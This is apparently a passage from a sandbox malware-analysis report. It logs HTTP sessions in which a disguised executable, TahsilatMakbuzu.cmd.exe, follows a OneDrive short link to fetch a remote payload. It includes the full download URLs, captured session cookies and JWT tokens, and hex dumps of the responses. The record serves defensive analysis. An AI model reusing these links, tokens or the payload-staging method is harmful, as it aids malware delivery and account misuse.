955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:16:02 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:16:02 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49720	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:02 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:02 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF5A2D2EDFD Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: 2AkPp5JeqEipkc3Ys6tk4g.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 989B73595EB24B91983A08FE7F6505AA Ref B: EWR311000103039 Ref C: 2024-07-04T18:16:02Z Date: Thu, 04 Jul 2024 18:16:02 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49721	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:03 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:04 UTC	2221	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:LZ+bXVWc3Ig=:jBux53n1kaBdKajRcaxJaJ0gSl5y4H7tXd9NBs5fiL4=:F; domain=.live.com; path=/ Set-Cookie: xid=f16e7852-9340-4a79-b990-bb6959d55240&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:03 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzYzLCJuYmYiOjE3MjAxMTY5NjMsImdpdmVuX25hbWUiOiI1MSIsImZhbWlseV9uYW1lIjoiQ2hpY2tlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImE5YjYyYmVhYTFjNjk1MDMwMWIwNTBiNWY5Y2Q3ODUwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5NjN9.cSKM2sk_ySi5oUMrrt7_qlHk0bC8s--k34zkBvi3Hsstx0FGPBGRhHvdrQ0r2hkiCp4OnvtDpQSWjuzzLmrGPJXQPcS4YCoNrjTo30NkfqOYX2FzDMasbFbQ66pzSMpG4KRiTzWtT6kPpqU-_Rp3i_C1ATG7Fc13Pl5dyiQ0qnY812PZvaR8ZULLNI2XRROMIhHaTakNomfhyg6vB2gx7Jzh4tSB6VxiW4iD9EJrTHQF0wFDZi3WiDB2yt-0ZjUrdKiNV5DO-36mKo5_6Ku1MKYkhl_xcvw_dIekv_cUr7r2DChsooJstfC9zs3CTICx6rO4-fHagd9hf5ZX3IGhjg; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:04 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-85jhc X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: ECA134BACB9B4387ACEC110CD14F6989 Ref B: BN3EDGE0918 Ref C: 2024-07-04T18:16:03Z Date: Thu, 04 Jul 2024 18:16:04 GMT Connection: close
2024-07-04 18:16:04 UTC	151	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=
2024-07-04 18:16:04 UTC	160	IN	Data Raw: 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d 70 3b 63 69 64 3d 62 66 32 62 37 63 30 38 33 38 62 35 65 31 62 64 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49722	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:05 UTC	1289	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzYzLCJuYmYiOjE3MjAxMTY5NjMsImdpdmVuX25hbWUiOiI1MSIsImZhbWlseV9uYW1lIjoiQ2hpY2tlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImE5YjYyYmVhYTFjNjk1MDMwMWIwNTBiNWY5Y2Q3ODUwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5NjN9.cSKM2sk_ySi5oUMrrt7_qlHk0bC8s--k34zkBvi3Hsstx0FGPBGRhHvdrQ0r2hkiCp4OnvtDpQSWjuzzLmrGPJXQPcS4YCoNrjTo30NkfqOYX2FzDMasbFbQ66pzSMpG4KRiTzWtT6kPpqU-_Rp3i_C1ATG7Fc13Pl5dyiQ0qnY812PZvaR8ZULLNI2XRROMIhHaTakNomfhyg6vB2gx7Jzh4tSB6VxiW4iD9EJrTHQF0wFDZi3WiDB2yt-0ZjUrdKiNV5DO-36mKo5_6Ku1MKYkhl_xcvw_dIekv_cUr7r2DChsooJstfC9zs3CTICx6rO4-fHagd9hf5ZX3IGhjg; E=P:LZ+bXVWc3Ig=:jBux53n1kaBdKajRcaxJaJ0gSl5y4H7tXd9NBs5fiL4=:F; xid=f16e7852-9340-4a79-b990-bb6959d5 [TRUNCATED]
2024-07-04 18:16:05 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205810 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,23891,0,119375,5 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 2c1239a1-9074-5000-d8d7-0d835558be47 request-id: 2c1239a1-9074-5000-d8d7-0d835558be47 MS-CV: oTkSLHSQAFDY1w2DVVi+Rw.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 28 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 5C7BC84149224C2B91105DEA741459EF Ref B: BN3EDGE1106 Ref C: 2024-07-04T18:16:05Z Date: Thu, 04 Jul 2024 18:16:05 GMT Connection: close
2024-07-04 18:16:05 UTC	3818	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:05 UTC	8192	IN	Data Raw: 41 2d 42 39 43 35 2d 44 30 46 45 35 42 39 36 32 33 35 33 22 3a 74 72 75 65 2c 22 44 39 43 35 30 34 39 31 2d 44 31 34 34 2d 34 34 31 43 2d 42 46 37 34 2d 37 35 41 44 39 42 34 37 39 43 30 41 22 3a 74 72 75 65 2c 22 39 32 38 33 31 46 39 41 2d 34 41 44 37 2d 34 35 34 46 2d 39 31 39 43 2d 36 41 39 37 42 46 34 44 31 30 30 41 22 3a 74 72 75 65 2c 22 42 42 37 36 44 33 37 44 2d 30 35 41 45 2d 34 37 31 35 2d 38 31 32 35 2d 35 39 39 34 43 32 41 41 41 45 35 39 22 3a 74 72 75 65 2c 22 46 36 44 38 38 46 30 39 2d 36 34 38 44 2d 34 43 33 38 2d 42 33 44 38 2d 36 37 36 46 36 34 32 36 36 46 36 33 22 3a 74 72 75 65 2c 22 32 32 31 37 45 30 31 39 2d 33 43 32 43 2d 34 31 45 36 2d 41 37 34 30 2d 38 31 36 35 35 42 44 33 31 45 46 44 22 3a 74 72 75 65 2c 22 38 39 36 34 31 38 34 31 Data Ascii: A-B9C5-D0FE5B962353":true,"D9C50491-D144-441C-BF74-75AD9B479C0A":true,"92831F9A-4AD7-454F-919C-6A97BF4D100A":true,"BB76D37D-05AE-4715-8125-5994C2AAAE59":true,"F6D88F09-648D-4C38-B3D8-676F64266F63":true,"2217E019-3C2C-41E6-A740-81655BD31EFD":true,"89641841
2024-07-04 18:16:05 UTC	2568	IN	Data Raw: 33 34 41 34 42 33 33 34 36 43 33 22 3a 74 72 75 65 2c 22 37 39 31 31 34 31 31 45 2d 43 39 32 46 2d 34 43 44 30 2d 41 41 32 36 2d 43 33 37 39 44 34 46 39 34 43 42 45 22 3a 74 72 75 65 2c 22 32 37 33 38 35 35 35 38 2d 33 31 45 43 2d 34 38 30 41 2d 39 43 33 39 2d 46 45 45 46 41 34 38 44 46 39 31 46 22 3a 74 72 75 65 2c 22 34 37 35 30 33 41 39 38 2d 46 42 30 36 2d 34 34 30 41 2d 42 39 32 31 2d 31 34 35 37 41 32 32 42 31 37 46 39 22 3a 74 72 75 65 2c 22 41 37 36 44 30 34 42 41 2d 35 46 35 44 2d 34 31 32 35 2d 39 30 36 43 2d 34 44 46 37 41 45 35 37 30 38 30 35 22 3a 74 72 75 65 2c 22 32 44 43 44 31 33 30 32 2d 43 30 44 37 2d 34 43 30 35 2d 38 41 35 36 2d 30 32 37 30 45 36 43 37 32 38 34 45 22 3a 74 72 75 65 2c 22 36 45 38 38 34 31 43 34 2d 44 32 32 31 2d 34 36 Data Ascii: 34A4B3346C3":true,"7911411E-C92F-4CD0-AA26-C379D4F94CBE":true,"27385558-31EC-480A-9C39-FEEFA48DF91F":true,"47503A98-FB06-440A-B921-1457A22B17F9":true,"A76D04BA-5F5D-4125-906C-4DF7AE570805":true,"2DCD1302-C0D7-4C05-8A56-0270E6C7284E":true,"6E8841C4-D221-46
2024-07-04 18:16:05 UTC	8192	IN	Data Raw: 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 Data Ascii: e,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26
2024-07-04 18:16:05 UTC	8192	IN	Data Raw: 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 Data Ascii: 5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tr
2024-07-04 18:16:05 UTC	8192	IN	Data Raw: 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 Data Ascii: -4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF4
2024-07-04 18:16:05 UTC	8192	IN	Data Raw: 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 Data Ascii: 2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7
2024-07-04 18:16:05 UTC	8192	IN	Data Raw: 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 Data Ascii: 42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8
2024-07-04 18:16:05 UTC	8192	IN	Data Raw: 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 Data Ascii: :true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F
2024-07-04 18:16:05 UTC	8192	IN	Data Raw: 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 